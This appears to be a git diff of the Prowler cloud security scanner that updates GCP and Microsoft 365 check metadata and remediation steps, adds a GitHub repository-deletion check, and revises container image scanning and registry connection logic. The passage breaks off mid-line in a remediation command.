"https://cloud.google.com/compute/docs/instance-groups/autohealing-instances-in-migs" diff --git a/prowler/providers/gcp/services/compute/compute_instance_group_multiple_zones/compute_instance_group_multiple_zones.metadata.json b/prowler/providers/gcp/services/compute/compute_instance_group_multiple_zones/compute_instance_group_multiple_zones.metadata.json index 927e72874a..3b7442bf2a 100644 --- a/prowler/providers/gcp/services/compute/compute_instance_group_multiple_zones/compute_instance_group_multiple_zones.metadata.json +++ b/prowler/providers/gcp/services/compute/compute_instance_group_multiple_zones/compute_instance_group_multiple_zones.metadata.json @@ -1,7 +1,7 @@ { "Provider": "gcp", "CheckID": "compute_instance_group_multiple_zones", - "CheckTitle": "Ensure Managed Instance Groups span multiple zones for high availability", + "CheckTitle": "Managed Instance Groups span multiple zones for high availability", "CheckType": [], "ServiceName": "compute", "SubServiceName": "", diff --git a/prowler/providers/gcp/services/compute/compute_instance_suspended_without_persistent_disks/compute_instance_suspended_without_persistent_disks.metadata.json b/prowler/providers/gcp/services/compute/compute_instance_suspended_without_persistent_disks/compute_instance_suspended_without_persistent_disks.metadata.json index 3e65d6f844..aa2f15a157 100644 --- a/prowler/providers/gcp/services/compute/compute_instance_suspended_without_persistent_disks/compute_instance_suspended_without_persistent_disks.metadata.json +++ b/prowler/providers/gcp/services/compute/compute_instance_suspended_without_persistent_disks/compute_instance_suspended_without_persistent_disks.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "compute.googleapis.com/Instance", "ResourceGroup": "compute", "Description": "This check identifies VM instances in a **SUSPENDED** or **SUSPENDING** state with persistent disks still attached.\n\nPersistent disks on suspended VMs remain accessible through the GCP API and could contain **sensitive data** while the instance is inactive, potentially creating security blind spots in long-forgotten infrastructure.", - "Risk": "Persistent disks on suspended VM instances remain accessible through the GCP API and may contain **sensitive data**, creating potential security risks:\n\n- **Unauthorized data access** if credentials are compromised or permissions are misconfigured\n- **Data exposure** from forgotten infrastructure that is no longer actively monitored\n- **Security blind spots** where suspended resources are overlooked during security reviews and audits", + "Risk": "Persistent disks on suspended VM instances remain accessible through the GCP API and may contain **sensitive data**. This creates risks of **unauthorized data access** if permissions are misconfigured, **data exposure** from forgotten unmonitored infrastructure, and **security blind spots** where suspended resources are overlooked during reviews.", "RelatedUrl": "", "AdditionalURLs": [ "https://cloud.google.com/icompute/docs/instances/suspend-resume-instance" diff --git a/prowler/providers/gcp/services/logging/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled.metadata.json b/prowler/providers/gcp/services/logging/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled.metadata.json index d2eb0c8ef3..6155533a33 100644 --- a/prowler/providers/gcp/services/logging/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled.metadata.json +++ b/prowler/providers/gcp/services/logging/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled/logging_log_metric_filter_and_alert_for_compute_configuration_changes_enabled.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "MetricFilter", "ResourceGroup": "monitoring", "Description": "Log metric filters and alerts for **Compute Engine configuration changes** provide visibility into modifications to instances, disks, networks, firewalls, and routes. These monitoring controls enable security teams to detect unauthorized changes and investigate suspicious infrastructure modifications.", - "Risk": "Without monitoring for Compute Engine configuration changes, **unauthorized modifications** to compute resources may go undetected. Attackers can establish **persistence** through instance modifications, escalate privileges via IAM policy changes, disable security controls, or pivot to other resources. This compromises **confidentiality**, **integrity**, and **availability** of workloads and may enable **data exfiltration** or **lateral movement**.", + "Risk": "Without monitoring for Compute Engine configuration changes, **unauthorized modifications** may go undetected. Attackers can establish **persistence**, escalate privileges, disable security controls, or pivot to other resources, compromising **confidentiality**, **integrity**, and **availability** of workloads.", "RelatedUrl": "", "AdditionalURLs": [ "https://www.trendmicro.com/trendaivisiononecloudriskmanagement/knowledge-base/gcp/ComputeEngine/gcp-compute-engine-configuration-changes.html", diff --git a/prowler/providers/github/github_provider.py b/prowler/providers/github/github_provider.py index 9088b79c6f..16d13f7434 100644 --- a/prowler/providers/github/github_provider.py +++ b/prowler/providers/github/github_provider.py @@ -139,8 +139,20 @@ class GithubProvider(Provider): logging.getLogger("github.GithubRetry").setLevel(logging.CRITICAL) # Set repositories and organizations for scoping - self._repositories = repositories or [] - self._organizations = organizations or [] + # Normalize single strings into lists (argparse sometimes passes str for singular flags) + if repositories is None: + self._repositories = [] + elif isinstance(repositories, str): + self._repositories = [repositories] + else: + self._repositories = list(repositories) + + if organizations is None: + self._organizations = [] + elif isinstance(organizations, str): + self._organizations = [organizations] + else: + self._organizations = list(organizations) self._session = GithubProvider.setup_session( personal_access_token, diff --git a/prowler/providers/github/services/organization/organization_repository_deletion_limited/__init__.py b/prowler/providers/github/services/organization/organization_repository_deletion_limited/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/prowler/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited.metadata.json b/prowler/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited.metadata.json new file mode 100644 index 0000000000..851848ce5a --- /dev/null +++ b/prowler/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited.metadata.json @@ -0,0 +1,36 @@ +{ + "Provider": "github", + "CheckID": "organization_repository_deletion_limited", + "CheckTitle": "Organization repository deletion and transfer is restricted to owners", + "CheckType": [], + "ServiceName": "organization", + "SubServiceName": "", + "ResourceIdTemplate": "", + "Severity": "high", + "ResourceType": "GitHubOrganization", + "ResourceGroup": "governance", + "Description": "Ensure repository deletion/transfer is restricted so only trusted organization users (owners) can delete or transfer repositories.", + "Risk": "If members can delete or transfer repositories, accidental or malicious deletions can cause irreversible data loss, service disruption, and increased blast radius from compromised accounts.", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "", + "NativeIaC": "", + "Other": "1. Sign in to GitHub as an organization owner\n2. Go to Organization > Settings\n3. Under \"Access\", click \"Member privileges\"\n4. Disable \"Allow members to delete or transfer repositories\"\n5. Save changes", + "Terraform": "" + }, + "Recommendation": { + "Text": "Disable member repository deletion/transfer privileges so only organization owners can delete or transfer repositories.", + "Url": "https://hub.prowler.com/check/organization_repository_deletion_limited" + } + }, + "Categories": [ + "identity-access" + ], + "DependsOn": [], + "RelatedTo": [], + "Notes": "", + "AdditionalURLs": [ + "https://docs.github.com/en/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories" + ] +} diff --git a/prowler/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited.py b/prowler/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited.py new file mode 100644 index 0000000000..5d94ad5af6 --- /dev/null +++ b/prowler/providers/github/services/organization/organization_repository_deletion_limited/organization_repository_deletion_limited.py @@ -0,0 +1,31 @@ +from typing import List + +from prowler.lib.check.models import Check, CheckReportGithub +from prowler.providers.github.services.organization.organization_client import ( + organization_client, +) + + +class organization_repository_deletion_limited(Check): + """Check if repository deletion/transfer is limited to trusted organization users.""" + + def execute(self) -> List[CheckReportGithub]: + findings = [] + for org in organization_client.organizations.values(): + members_can_delete = org.members_can_delete_repositories + + if members_can_delete is None: + continue + + report = CheckReportGithub(metadata=self.metadata(), resource=org) + + if members_can_delete is False: + report.status = "PASS" + report.status_extended = f"Organization {org.name} restricts repository deletion/transfer to trusted users." + else: + report.status = "FAIL" + report.status_extended = f"Organization {org.name} allows members to delete/transfer repositories." + + findings.append(report) + + return findings diff --git a/prowler/providers/github/services/organization/organization_service.py b/prowler/providers/github/services/organization/organization_service.py index 187da72f68..0aceca423e 100644 --- a/prowler/providers/github/services/organization/organization_service.py +++ b/prowler/providers/github/services/organization/organization_service.py @@ -76,6 +76,7 @@ class Organization(GithubService): id=user.id, name=user.login, mfa_required=None, # Users don't have MFA requirements like orgs + members_can_delete_repositories=None, is_verified=None, ) logger.info( @@ -189,6 +190,9 @@ class Organization(GithubService): repo_creation_settings["members_allowed_repository_creation_type"] = ( _extract_flag("members_allowed_repository_creation_type", str) ) + members_can_delete_repositories = _extract_flag( + "members_can_delete_repositories", bool + ) base_permission_raw = _extract_flag("default_repository_permission", str) base_permission = ( @@ -201,6 +205,7 @@ class Organization(GithubService): id=org.id, name=org.login, mfa_required=require_mfa, + members_can_delete_repositories=members_can_delete_repositories, members_can_create_repositories=repo_creation_settings[ "members_can_create_repositories" ], @@ -227,6 +232,7 @@ class Org(BaseModel): id: int name: str mfa_required: Optional[bool] = False + members_can_delete_repositories: Optional[bool] = None members_can_create_repositories: Optional[bool] = None members_can_create_public_repositories: Optional[bool] = None members_can_create_private_repositories: Optional[bool] = None diff --git a/prowler/providers/iac/iac_provider.py b/prowler/providers/iac/iac_provider.py index e7b83995a7..5b3d898fb3 100644 --- a/prowler/providers/iac/iac_provider.py +++ b/prowler/providers/iac/iac_provider.py @@ -224,6 +224,7 @@ class IacProvider(Provider): }, }, "Categories": [], + "AdditionalURLs": [], "DependsOn": [], "RelatedTo": [], "Notes": "", diff --git a/prowler/providers/image/image_provider.py b/prowler/providers/image/image_provider.py index 9817656dd2..d724542e28 100644 --- a/prowler/providers/image/image_provider.py +++ b/prowler/providers/image/image_provider.py @@ -5,6 +5,7 @@ import os import re import subprocess import sys +import tempfile from typing import Generator from alive_progress import alive_bar @@ -88,7 +89,9 @@ class ImageProvider(Provider): self.images = images if images is not None else [] self.image_list_file = image_list_file - self.scanners = scanners if scanners is not None else ["vuln", "secret"] + self.scanners = ( + scanners if scanners is not None else ["vuln", "secret", "misconfig"] + ) self.image_config_scanners = ( image_config_scanners if image_config_scanners is not None else [] ) @@ -100,6 +103,10 @@ class ImageProvider(Provider): self._session = None self._identity = "prowler" self._listing_only = False + self._trivy_cache_dir_obj = tempfile.TemporaryDirectory( + prefix="prowler-trivy-cache-" + ) + self._trivy_cache_dir = self._trivy_cache_dir_obj.name # Registry authentication (follows IaC pattern: explicit params, env vars internal) self.registry_username = registry_username or os.environ.get( @@ -329,9 +336,15 @@ class ImageProvider(Provider): def _is_registry_url(image_uid: str) -> bool: """Determine whether an image UID is a registry URL (namespace only). - A registry URL like ``docker.io/andoniaf`` has a registry host but - the remaining part contains no ``/`` (no repo) and no ``:`` (no tag). + Bare hostnames like "714274078102.dkr.ecr.eu-west-1.amazonaws.com" + or "myregistry.com:5000" are registry URLs (dots in host, no slash). + Image references like "alpine:3.18" or "nginx" are not. """ + if "/" not in image_uid: + host_part = image_uid.split(":")[0] + if "." in host_part: + return True + registry_host = ImageProvider._extract_registry(image_uid) if not registry_host: return False @@ -340,6 +353,8 @@ class ImageProvider(Provider): def cleanup(self) -> None: """Clean up any resources after scanning.""" + if hasattr(self, "_trivy_cache_dir_obj"): + self._trivy_cache_dir_obj.cleanup() def _process_finding( self, @@ -368,7 +383,7 @@ class ImageProvider(Provider): "Description", finding.get("Title", "") ) finding_status = "FAIL" - finding_categories = ["vulnerability"] + finding_categories = ["vulnerabilities"] elif "RuleID" in finding: # Secret finding finding_id = finding["RuleID"] @@ -418,10 +433,13 @@ class ImageProvider(Provider): }, "Recommendation": { "Text": remediation_text, - "Url": finding.get("PrimaryURL", ""), + "Url": "", }, }, "Categories": finding_categories, + "AdditionalURLs": ( + [url] if (url := finding.get("PrimaryURL", "")) else [] + ), "DependsOn": [], "RelatedTo": [], "Notes": "", @@ -540,6 +558,8 @@ class ImageProvider(Provider): trivy_command = [ "trivy", "image", + "--cache-dir", + self._trivy_cache_dir, "--format", "json", "--scanners", @@ -928,6 +948,9 @@ class ImageProvider(Provider): Uses registry HTTP APIs directly instead of Trivy to avoid false failures caused by Trivy DB download issues. + For bare registry hostnames (e.g. ECR URLs passed by the API as provider_uid), + uses the OCI catalog endpoint instead of trivy image. + Args: image: Container image or registry URL to test raise_on_exception: Whether to raise exceptions @@ -946,32 +969,34 @@ class ImageProvider(Provider): if not image: return Connection(is_connected=False, error="Image name is required") + # Registry URL (bare hostname) → test via OCI catalog if ImageProvider._is_registry_url(image): - # Registry enumeration mode — test by listing repositories - adapter = create_registry_adapter( + return ImageProvider._test_registry_connection( registry_url=image, - username=registry_username, - password=registry_password, - token=registry_token, + registry_username=registry_username, + registry_password=registry_password, + registry_token=registry_token, ) - adapter.list_repositories() - return Connection(is_connected=True) - # Image reference mode — verify the specific tag exists + # Image reference → verify tag exists via registry API registry_host = ImageProvider._extract_registry(image) - repo_and_tag = image[len(registry_host) + 1 :] if registry_host else image - if ":" in repo_and_tag: - repository, tag = repo_and_tag.rsplit(":", 1) - else: - repository = repo_and_tag - tag = "latest" - - is_dockerhub = not registry_host or registry_host in ( + is_dockerhub = registry_host is None or registry_host in ( "docker.io", "registry-1.docker.io", ) - # Docker Hub official images use "library/" prefix + # Parse repository and tag from the image reference + ref = image.rsplit("@", 1)[0] if "@" in image else image + last_segment = ref.split("/")[-1] + if ":" in last_segment: + tag = last_segment.split(":")[-1] + base = ref[: -(len(tag) + 1)] + else: + tag = "latest" + base = ref + + repository = base[len(registry_host) + 1 :] if registry_host else base + if is_dockerhub and "/" not in repository: repository = f"library/{repository}" @@ -1013,3 +1038,37 @@ class ImageProvider(Provider): is_connected=False, error=f"Unexpected error: {str(error)}", ) + + @staticmethod + def _test_registry_connection( + registry_url: str, + registry_username: str | None = None, + registry_password: str | None = None, + registry_token: str | None = None, + ) -> "Connection": + """Test connection to a registry URL by listing repositories via OCI catalog.""" + try: + adapter = create_registry_adapter( + registry_url=registry_url, + username=registry_username, + password=registry_password, + token=registry_token, + ) + adapter.list_repositories() + return Connection(is_connected=True) + except Exception as error: + error_str = str(error).lower() + if "401" in error_str or "unauthorized" in error_str: + return Connection( + is_connected=False, + error="Authentication failed. Check registry credentials.", + ) + elif "404" in error_str or "not found" in error_str: + return Connection( + is_connected=False, + error="Registry catalog not found.", + ) + return Connection( + is_connected=False, + error=f"Failed to connect to registry: {str(error)[:200]}", + ) diff --git a/prowler/providers/image/lib/arguments/arguments.py b/prowler/providers/image/lib/arguments/arguments.py index 3dfe9cf92b..529061befc 100644 --- a/prowler/providers/image/lib/arguments/arguments.py +++ b/prowler/providers/image/lib/arguments/arguments.py @@ -50,9 +50,9 @@ def init_parser(self): "--scanner", dest="scanners", nargs="+", - default=["vuln", "secret"], + default=["vuln", "secret", "misconfig"], choices=SCANNERS_CHOICES, - help="Trivy scanners to use. Default: vuln, secret. Available: vuln, secret, misconfig, license", + help="Trivy scanners to use. Default: vuln, secret, misconfig. Available: vuln, secret, misconfig, license", ) scan_config_group.add_argument( diff --git a/prowler/providers/m365/services/defender/defender_zap_for_teams_enabled/defender_zap_for_teams_enabled.metadata.json b/prowler/providers/m365/services/defender/defender_zap_for_teams_enabled/defender_zap_for_teams_enabled.metadata.json index d19f3c5229..ea46672ece 100644 --- a/prowler/providers/m365/services/defender/defender_zap_for_teams_enabled/defender_zap_for_teams_enabled.metadata.json +++ b/prowler/providers/m365/services/defender/defender_zap_for_teams_enabled/defender_zap_for_teams_enabled.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "NotDefined", "ResourceGroup": "collaboration", "Description": "**Microsoft Defender for Office 365 Zero-hour auto purge (ZAP)** is a protection feature that retroactively detects and neutralizes **malware** and **high confidence phishing** in Teams messages.\n\nWhen ZAP blocks a message, it is blocked for everyone in the chat. The initial block happens right after delivery, but ZAP can occur up to 48 hours after delivery.", - "Risk": "Without ZAP enabled, malicious content delivered to Teams chats remains accessible to users for up to 48 hours after delivery, even after being identified as harmful.\n\nThis extended exposure window could lead to:\n- **Malware infections** from weaponized attachments or links\n- **Phishing attacks** compromising user credentials and MFA tokens\n- **Lateral movement** as attackers exploit compromised accounts within the organization", + "Risk": "Without ZAP enabled, malicious content in Teams chats remains accessible for up to 48 hours after delivery, even after being identified as harmful. This extended exposure enables **malware infections**, **phishing attacks** compromising credentials and MFA tokens, and **lateral movement** via compromised accounts.", "RelatedUrl": "", "AdditionalURLs": [ "https://learn.microsoft.com/en-us/defender-office-365/zero-hour-auto-purge?view=o365-worldwide#zero-hour-auto-purge-zap-in-microsoft-teams", diff --git a/prowler/providers/m365/services/entra/entra_admin_consent_workflow_enabled/entra_admin_consent_workflow_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_admin_consent_workflow_enabled/entra_admin_consent_workflow_enabled.metadata.json index 40dea22941..1ebc9f5e59 100644 --- a/prowler/providers/m365/services/entra/entra_admin_consent_workflow_enabled/entra_admin_consent_workflow_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_admin_consent_workflow_enabled/entra_admin_consent_workflow_enabled.metadata.json @@ -1,30 +1,37 @@ { "Provider": "m365", "CheckID": "entra_admin_consent_workflow_enabled", - "CheckTitle": "Ensure the admin consent workflow is enabled.", + "CheckTitle": "Admin consent workflow is enabled", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Organization Settings", + "ResourceType": "NotDefined", "ResourceGroup": "governance", - "Description": "Ensure that the admin consent workflow is enabled in Microsoft Entra to allow users to request admin approval for applications requiring consent.", - "Risk": "If the admin consent workflow is not enabled, users may be blocked from accessing applications that require admin consent, leading to potential work disruptions or unauthorized workarounds.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow", + "Description": "Microsoft Entra **admin consent workflow** is evaluated to confirm an approval path exists for app permission requests. The check looks for the workflow being enabled and, when present, whether **reviewer notifications** are configured.", + "Risk": "Without an approval workflow, app access decisions lack controlled review. This can force permissive settings or push users to shadow IT, enabling **consent phishing** and excessive Graph permissions that jeopardize **confidentiality** and **integrity**, or block required apps, affecting **availability**.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-NZ/entra/identity/enterprise-apps/user-admin-consent-overview", + "https://www.cloudcoffee.ch/microsoft-azure/microsoft-entra-id-admin-consent-workflow/", + "https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow", + "https://global-sharepoint.com/sharepoint/admin-consent-approval-workflow/" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "Update-MgPolicyAdminConsentRequestPolicy -IsEnabled:$true", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Entra admin center https://entra.microsoft.com/. 2. Click to expand Identity > Applications and select Enterprise applications. 3. Under Security, select Consent and permissions. 4. Under Manage, select Admin consent settings. 5. Set 'Users can request admin consent to apps they are unable to consent to' to 'Yes'. 6. Configure the reviewers and email notifications settings. 7. Click Save.", + "Other": "1. Sign in to the Microsoft Entra admin center (https://entra.microsoft.com) as a Global Administrator\n2. Go to Entra ID > Enterprise applications > Consent and permissions > Admin consent settings\n3. Set \"Users can request admin consent to apps they are unable to consent to\" to Yes\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Enable the admin consent workflow in Microsoft Entra to securely manage application consent requests.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/enterprise-apps/configure-admin-consent-workflow" + "Text": "Enable the **admin consent workflow** (`Users can request admin consent to apps they are unable to consent to`) and assign least-privileged reviewers; enable notifications and expiry. Combine with restrictive **user consent** policies, permission classifications, and periodic reviews. Apply **least privilege** and **separation of duties**.", + "Url": "https://hub.prowler.com/check/entra_admin_consent_workflow_enabled" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_admin_portals_access_restriction/entra_admin_portals_access_restriction.metadata.json b/prowler/providers/m365/services/entra/entra_admin_portals_access_restriction/entra_admin_portals_access_restriction.metadata.json index 6ed0b56cc6..2b20fa91bb 100644 --- a/prowler/providers/m365/services/entra/entra_admin_portals_access_restriction/entra_admin_portals_access_restriction.metadata.json +++ b/prowler/providers/m365/services/entra/entra_admin_portals_access_restriction/entra_admin_portals_access_restriction.metadata.json @@ -1,36 +1,42 @@ { "Provider": "m365", "CheckID": "entra_admin_portals_access_restriction", - "CheckTitle": "Ensure that only administrative roles have access to Microsoft Admin Portals", - "CheckAliases": [ - "entra_admin_portals_role_limited_access" - ], + "CheckTitle": "Admin portals are accessible only to administrative roles", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "high", - "ResourceType": "Conditional Access Policy", + "Severity": "medium", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that only administrative roles have access to Microsoft Admin Portals to prevent unauthorized changes, privilege escalation, and security misconfigurations.", - "Risk": "Allowing non-administrative users to access Microsoft Admin Portals increases the risk of unauthorized changes, privilege escalation, and potential security misconfigurations. Attackers could exploit these privileges to manipulate settings, disable security features, or access sensitive data.", - "RelatedUrl": "https://learn.microsoft.com/en-us/microsoft-365/admin/add-users/about-admin-roles?view=o365-worldwide", + "Description": "Microsoft Entra **Conditional Access** restricts `MicrosoftAdminPortals` by targeting admin portals, including all users, excluding administrative roles, and applying a **block** decision. The assessment determines whether an active policy enforces this restriction rather than only reporting.", + "Risk": "Absent this control, non-admin identities can reach admin portals, jeopardizing **integrity** (unauthorized tenant changes), **confidentiality** (exposure of settings and data), and **availability** (disabling services). Threats include privilege escalation, weakening policies, and creating persistence.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview", + "https://learn.microsoft.com/en-us/microsoft-365/admin/add-users/about-admin-roles?view=o365-worldwide", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "New-MgIdentityConditionalAccessPolicy -BodyParameter @{displayName=\"\";state=\"enabled\";conditions=@{users=@{includeUsers=@(\"All\");excludeRoles=@(\"62e90394-69f5-4237-9190-012177145e10\")};applications=@{includeApplications=@(\"MicrosoftAdminPortals\")}};grantControls=@{builtInControls=@(\"block\")}}", "NativeIaC": "", - "Other": "1. Navigate to the Microsoft Entra admin center https://entra.microsoft.com. 2. Click expand Protection > Conditional Access select Policies. 3. Click New Policy. Under Users include All Users. Under Users select Exclude and check Directory roles and select only administrative roles and a group of PIM eligible users. Under Target resources select Cloud apps and Select apps then select the Microsoft Admin Portals app. Confirm by clicking Select. Under Grant select Block access and click Select. 4. Under Enable policy set it to Report Only until the organization is ready to enable it. 5. Click Create.", - "Terraform": "" + "Other": "1. Go to Microsoft Entra admin center > Protection > Conditional Access > Policies > New policy\n2. Users: Include = All users; Exclude = Directory roles, select all administrative roles\n3. Target resources: Cloud apps > Select apps > choose Microsoft Admin Portals > Select\n4. Grant: Block access > Select\n5. Enable policy: On > Create", + "Terraform": "```hcl\nresource \"azuread_conditional_access_policy\" \"\" {\n display_name = \"\"\n state = \"enabled\" # Critical: policy must be enabled to PASS\n\n conditions {\n users {\n include_users = [\"All\"] # Critical: include all users\n exclude_roles = [\"62e90394-69f5-4237-9190-012177145e10\"] # Critical: exclude admin role(s) so only admins can access\n }\n applications {\n included_applications = [\"MicrosoftAdminPortals\"] # Critical: target Microsoft Admin Portals\n }\n }\n\n grant_controls {\n built_in_controls = [\"block\"] # Critical: block non-excluded users\n }\n}\n```" }, "Recommendation": { - "Text": "Enforce Conditional Access policies to restrict Microsoft Admin Portals to predefined administrative roles. Ensure that only necessary users have access to these portals, applying the principle of least privilege and conducting periodic access reviews to maintain security compliance.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview" + "Text": "Enforce **least privilege** with Conditional Access that blocks `MicrosoftAdminPortals` for everyone except approved admin roles. Add **defense in depth**: require strong MFA/authentication strength, compliant devices, and trusted locations; use JIT via PIM. Review role assignments and policies routinely.", + "Url": "https://hub.prowler.com/check/entra_admin_portals_access_restriction" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], "RelatedTo": [], - "Notes": "" + "Notes": "", + "CheckAliases": [ + "entra_admin_portals_role_limited_access" + ] } diff --git a/prowler/providers/m365/services/entra/entra_admin_users_cloud_only/entra_admin_users_cloud_only.metadata.json b/prowler/providers/m365/services/entra/entra_admin_users_cloud_only/entra_admin_users_cloud_only.metadata.json index 5fc9941a78..ceaf551b36 100644 --- a/prowler/providers/m365/services/entra/entra_admin_users_cloud_only/entra_admin_users_cloud_only.metadata.json +++ b/prowler/providers/m365/services/entra/entra_admin_users_cloud_only/entra_admin_users_cloud_only.metadata.json @@ -1,30 +1,35 @@ { "Provider": "m365", "CheckID": "entra_admin_users_cloud_only", - "CheckTitle": "Ensure all Microsoft 365 administrative users are cloud-only", + "CheckTitle": "All users with administrative roles are cloud-only accounts", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Administrative User", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "This check verifies that all Microsoft 365 administrative users are cloud-only, not synchronized from an on-premises directory, by querying administrative users and checking their synchronization status.", - "Risk": "On-premises synchronized administrative users increase the attack surface and compromise the security posture of the cloud environment. Compromise of on-premises systems could lead to unauthorized access to Microsoft 365 administrative functionalities.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/best-practices#9-use-cloud-native-accounts-for-microsoft-entra-roles", + "Description": "Microsoft Entra **administrative users** are evaluated to confirm they are **cloud-only accounts**, with no on-premises directory synchronization for any user holding privileged roles.", + "Risk": "**On-premises-synced privileged accounts** extend the cloud trust boundary to AD. If AD or the sync channel is compromised, attackers can:\n- **Escalate** into Entra roles\n- Alter tenant settings and access data\n- Maintain **persistence** via on-prem credentials\n\nThis harms **confidentiality** and **integrity** and complicates recovery.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/best-practices#9-use-cloud-native-accounts-for-microsoft-entra-roles" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId -DirectoryObjectId ", "NativeIaC": "", - "Other": "1. Identify on-premises synchronized administrative users using Microsoft Entra Connect or equivalent tools. 2. Create new cloud-only administrative user with appropriate permissions. 3. Migrate administrative tasks from on-premises synchronized users to the new cloud-only user. 4. Disable or remove the on-premises synchronized administrative users.", + "Other": "1. In the Microsoft Entra admin center, go to Identity > Users. Filter: On-premises sync enabled = Yes. Identify any users with administrative roles. 2. If needed, create a cloud-only admin: Identity > Users > New user > Create user; under Roles, assign the required admin role. 3. Remove admin roles from synchronized users: Identity > Roles & administrators > select the role > Members > select the synchronized user(s) > Remove.", "Terraform": "" }, "Recommendation": { - "Text": "Ensure all Microsoft 365 administrative users are cloud-only to reduce the attack surface and improve security posture.", - "Url": "https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/best-practices#9-use-cloud-native-accounts-for-microsoft-entra-roles" + "Text": "Assign Entra roles only to **cloud-native accounts**. Enforce **least privilege**, **MFA**, and **Conditional Access**; use **PIM** for just-in-time elevation. Maintain cloud-only break-glass accounts, perform periodic access reviews, and prohibit synced identities from holding privileged roles for **defense in depth**.", + "Url": "https://hub.prowler.com/check/entra_admin_users_cloud_only" } }, "Categories": [ + "identity-access", + "trust-boundaries", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/entra/entra_admin_users_mfa_enabled/entra_admin_users_mfa_enabled.metadata.json b/prowler/providers/m365/services/entra/entra_admin_users_mfa_enabled/entra_admin_users_mfa_enabled.metadata.json index d682dbf4fa..c3ac8d244e 100644 --- a/prowler/providers/m365/services/entra/entra_admin_users_mfa_enabled/entra_admin_users_mfa_enabled.metadata.json +++ b/prowler/providers/m365/services/entra/entra_admin_users_mfa_enabled/entra_admin_users_mfa_enabled.metadata.json @@ -1,36 +1,45 @@ { "Provider": "m365", "CheckID": "entra_admin_users_mfa_enabled", - "CheckTitle": "Ensure multifactor authentication is enabled for all users in administrative roles.", - "CheckAliases": [ - "entra_admin_mfa_enabled_for_administrative_roles" - ], + "CheckTitle": "Users in administrative roles require multifactor authentication via a Conditional Access policy for all applications", "CheckType": [], "ServiceName": "entra", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "high", - "ResourceType": "Conditional Access Policy", + "ResourceType": "NotDefined", "ResourceGroup": "IAM", - "Description": "Ensure that multifactor authentication (MFA) is enabled for all users in administrative roles to enhance security and reduce the risk of unauthorized access.", - "Risk": "Without MFA enabled for administrative roles, attackers could compromise privileged accounts with only a single authentication factor, increasing the risk of data breaches and unauthorized access to sensitive resources.", - "RelatedUrl": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/howto-conditional-access-policy-admin-mfa", + "Description": "Microsoft Entra Conditional Access policies that enforce **multifactor authentication** for users in **administrative roles** across all resources.\n\nThe assessment identifies at least one active policy that targets admin roles (or all users), includes all applications, and grants access only when `Require multifactor authentication` is satisfied.", + "Risk": "Without enforced **MFA** on privileged accounts, stolen or phished passwords can grant admin access, enabling tenant takeover. Attackers may exfiltrate data, change configurations, consent malicious apps, and disable protections, impacting confidentiality, integrity, and availability.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-getstarted", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-alt-all-users-compliant-hybrid-or-mfa", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/howto-conditional-access-policy-admin-mfa", + "https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-azure-mfa", + "https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-alt-admin-device-compliand-hybrid", + "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-userstates" + ], "Remediation": { "Code": { - "CLI": "", + "CLI": "az rest --method post --url https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies --body '{\"displayName\":\"Require MFA for all 